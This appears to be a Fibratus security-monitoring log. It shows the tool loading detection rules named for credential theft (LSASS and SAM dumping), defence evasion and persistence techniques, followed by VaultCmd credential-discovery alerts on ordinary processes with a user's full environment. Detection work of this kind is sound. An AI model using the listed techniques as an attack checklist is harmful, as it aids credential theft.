C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:48:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:48:14+01:00 level=info msg=bootstrapping with pid 1596. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:48:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-threadpool=>false enable-audit-api=>true enable-fileio=>true enable-mem=>false buffer-size=>512 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-vamap=>true max-buffers=>36 enable-thread=>true enable-image=>true flush-interval=>1s min-buffers=>16 enable-net=>true enable-handle=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 level=>info max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ amqp=>[ delivery-mode=>transient enabled=>false vhost=>/ durable=>false passive=>false timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672] elasticsearch=>[ template-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck=>true index-name=>fibratus sniff=>false gzip-compression=>false enabled=>false healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s bulk-workers=>1] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s method=>POST enabled=>false serializer=>json] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-allocs=>false skip-registry=>false excluded-procs=>[] enabled=>false scan-timeout=>10s fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:48:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:48:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:48:22+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4933796 + Pid: 2724 + Tid: 20180 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:48:16.9513668 +0100 CET + Params: file_key➜ ffff808cd7b11000, offset➜ 0, pid➜ 2724, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 21a842c0000, view_size➜ 20975616 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, subtechnique.id: T1555.004, technique.id: T1555, subtechnique.name: Windows Credential Manager + + Pid: 2724 + Ppid: 18092 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:48:22+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4933801 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:48:16.9787208 +0100 CET + Params: file_key➜ ffff808cbeb30fb0, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226400000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:48:26+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4931237 + Pid: 8604 + Tid: 13640 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:48:15.3614923 +0100 CET + Params: file_key➜ ffff808cf83e2000, offset➜ 0, pid➜ 8604, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 16c457e0000, view_size➜ 2097152 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.id: T1555.004 + + Pid: 8604 + Ppid: 17220 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1684,i,5970045747267208523,10574949385857880792,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1828 /prefetch:11 + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1684,i,5970045747267208523,10574949385857880792,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1828 /prefetch:11] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_17220_NODNTTNTIUURPPVU COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive 